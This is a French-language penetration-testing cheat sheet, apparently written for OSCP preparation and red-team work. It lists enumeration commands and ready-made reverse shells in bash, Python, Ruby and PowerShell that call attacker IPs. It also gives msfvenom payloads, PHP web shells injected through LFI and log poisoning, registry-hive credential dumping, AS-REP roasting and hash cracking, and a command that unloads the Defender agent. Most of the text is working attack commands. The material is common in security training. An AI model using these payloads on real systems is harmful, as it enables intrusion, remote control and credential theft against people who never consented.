
Il y a beaucoup de cheat sheets, mais voici la mienne.
Il existe de nombreuses antisèches, mais celle-ci est la mienne. C'est un travail en cours pour le moment, et ça vit comme un brouillon mis à jour souvent, par moments. Je l'ai commencée pendant que je préparais mon OSCP, mais elle évolue désormais pour inclure des choses plus pratiques dont j'ai besoin en tant que red teamer. Les nouveaux ajouts ne seront très probablement d'aucune utilité pour l'examen, et pourraient même inclure des outils interdits.
Très incomplète...
find / -name flag.txt pour trouver des fichiers par leur nom.
grep -R "flag40" / -s -n pour chercher une chaîne dans les fichiers, en les parcourant récursivement depuis le répertoire racine, sans sortie d'erreur.
dir /s flag.txt pour trouver les fichiers nommés flag.txt dans le répertoire courant et ses sous-répertoires.
Un outil utile -> wadcoms.github.io
nmap -sn 10.11.1.0/24 balayage réseau pour trouver des hôtes.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt balayer le réseau pour trouver les IP actives, et enregistrer les adresses IP dans une liste.nmap -A 10.10.10.10 pour un scan rapide des ports TCP courants avec détection d'OS et de services.
nmap -A 10.10.10.10 -p- pour scanner tous les ports TCP avec détection d'OS et de services.
nmap -A -sU 10.10.10.10 pour scanner tous les ports UDP avec détection d'OS et de services.
sudo nmap -O -A -sV 10.10.10.10 pour scanner tous les ports TCP courants, identifier l'OS, exécuter des scripts et récupérer les bannières.
proxychains nmap -Pn -sT 10.10.10.10 -v car les scans ICMP/UDP ne fonctionnent pas.
L'option -w permet de spécifier un délai d'expiration en secondes et l'option -z d'envoyer zéro donnée (pour le scan)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 scan TCP des ports 3388 à 3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 scan UDP des ports 160 à 162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.J'aime aussi dirsearch.
Wordlists utiles sur Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r énumération de répertoires avec big.txt de dirb, copier/coller et juste IP/URL et extensions.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r énumération de répertoires avec la liste de répertoires de dirbuster, copier/coller et juste IP/URL et extensions.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, force brute des CGI.
Un module rsync est essentiellement un partage de répertoire. Ces modules peuvent éventuellement être protégés par un mot de passe. Cette option liste les modules disponibles et, éventuellement, détermine si le module nécessite un mot de passe pour y accéder**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 Pour lister les partages disponibles
smbclient //10.11.1.146/IPC$ pour vous connecter à ce partage. Si ça ne fonctionne pas, essayez sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o pour utiliser enum4linux et automatiser les partages SMB.
Si vous pouvez vous connecter avec une connexion Null -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
Bon article
Un autre bon article
showmount -e 10.10.10.10 pour voir les montages disponibles
mount -t nfs 10.10.10.10:/ /tmp -o nolock pour monter la racine, ou n'importe quel dossier.
onesixtyone -c community -i ips scanner le réseau cible pour identifier les serveurs SNMP où community et ips sont des listes community = (public, private, manager).
snmp-check 10.11.1.227 fait tout ce qui est ci-dessous, mais en mieux et formate le résultat pour vous joliment :)
snmpwalk -c public -v1 -t 10 10.11.1.115 énumère tout l'arbre MIB.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 énumère les utilisateurs Windows.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 énumère les processus Windows en cours d'exécution.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 énumère les ports TCP ouverts.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 énumère les logiciels installés.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 écouter (attraper) le shell inversé avec Netcat sur le port 4444
python -c 'import pty; pty.spawn("/bin/bash")' ou python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war
Cela fonctionne aussi pour Cold Fusion à la place de la web shell folle.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d" encode les mauvais caractères, shell Windows.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode Linux, avec une sortie Python en option.
Redirection de port locale. L'exemple ci-dessous permet d'accéder aux services sur pandora.htb, disponibles uniquement sur localhost.
ssh -L 127.0.0.1:9050:pandora.htb:80 [email protected]
Redirection de port dynamique.
ssh -D 9050 [email protected]
Utilisez xfreerdp si rdesktop échoue en vous donnant Certificate recieved from server is NOT trusted by this sytem,...
proxychains4 xfreerdp /u:dev /v:10.0.0.5:3389
sudo -l, s'il y a quelque chose d'intéressant comme exécuter des scripts en tant qu'utilisateurs avec NOPASSWD: ALL.
cat /etc/issueuname -r archfind / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
ps axu
ss -lnpt
ls -la /etc/cron.d affiche les tâches cron déjà présentes dans cron.d
powershell -c "Invoke-WebRequest -Uri http://10.10.14.10/39719.ps1 -OutFile ./39719.ps1 Transfert de fichier pour les nuls
systeminfo pour obtenir de bonnes informations.
tasklist /SVC pour voir les services en cours d'exécution.
sc queryex type=service state=all pour interroger tous les services, qu'ils soient en cours d'exécution ou non.
i686-w64-mingw32-gcc shell.c -o shell.exe Windows 32 bits
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
x86_64-w64-mingw32-gcc 271.c -o 271.exe Windows 64 bits
sudo python3 -m pyftpdlib -p 21.echo open 192.168.119.150>ftp.txt
echo USER anonymous a>>ftp.txt
echo binary>>ftp.txt
echo GET file.exe>>ftp.txt
echo bye>>ftp.txt
ftp -v -n -s:ftp.txt
S'il n'y a pas d'alias wget, essayez Invoke-WebRequest "http://192.168.119.229/mimikatz64.exe" -OutFile "C:\Users\administrator.xor\Desktop\m.exe".
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
msf-pattern_create -l 2196 générer un motif unique pour faire déborder la pile.
msf-pattern_offset -l 2196 -q 72433372 localiser l'offset de la valeur dans EIP au moment du crash.
kali@kali: ~$ msf-nasm_shell
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > JMP EAX
00000000 FFE0 jmp eax
nasm >
Écrire du code PHP dans le fichier de log pour exécuter des commandes shell
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig appeler l'URL avec la LFI et GET['cmd']
Notez que le %00 à la fin aide à faire le boulot si besoin.
https://sucka.com/internal/advanced_comment_system/index.php?ACS_path=http://192.168.119.150/test.txt%00
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?> pour exécuter du code PHP arbitraire.
http://192.168.111.53:4443/site/index.php?page=data:text/plain,<?php echo shell_exec("powershell.exe -executionPolicy Unrestricted -InputFormat none -File reverse.ps1") ?> shell inversé via PowerShell en utilisant les wrappers
launchctl unload /Library/LaunchAgents/com.microsoft.wdav.tray.plist
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save
Pour extraire les secrets/hashes des fichiers enregistrés ci-dessus : impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > SECRETS.DUMP && cat SECRETS.DUMP.
Pour extraire le hash TGT d'un utilisateur de domaine qui a UF_DONT_REQUIRE_PREAUTH défini : impacket-GetNPUsers -no-pass -dc-ip forest.htb htb/svc-alfresco.
Aide-mémoire des algorithmes de hachage : bob:$1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/:16903:0:99999:7:::
Le sel est Rrhb4lzg
Le hash est Ee8/JYZjv.NimwyrSEL6R/
$1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/ sous le nom bob.hashhashcat -m 500 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force pour $1$hashcat -m 1800 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force pour $6$Administrator:500:aad3b435b51404eeaad3b435b51404ee:3fee04b01f59a1001a366a7681e95699:::.hashcat -m 1000 -a 0 admin.hash ~/rockyou.txt --force.$DCC2$10240#Administrator#68381d9a192e14343ea381574668c83c.john --wordlist=~/rockyou.txt tgt.hash.$krb5asrep$23$svc-alfresco@HTB:6d400d8f440d63dcb3d152e07796abad$6fe3b792a228a8d460673fb0ddf4df02ee4f50e46bd0a02f8d3b722179aa342a743fa27779d984d44dc2ae6c0a96cb6de46a007a82cb24448b4dea2bdde5151c8c0b2a8dcd6c0a050e6d6f126f5ae495c127a486df91d51f3d08e79c218477caf936a189f34fe3df258360091161d4f935bf1b9cc0bb69cfd1ddfa60cc3426d4f49ad7926f74f6be6be4754fa4bbbbad2ca3d7f5df76ce34a03a85c4c7e9a6db76599acaa4ebe1ce5bdcfcc5caa7f883ab9cf99560cb1339eb87e7c175fc9c1d6123362be751c6fd9ca583512a4fdde5f833af279c64378bc7d321391f40c833.hashcat -m 13100 tgt.hash ~/rockyou.txt --force.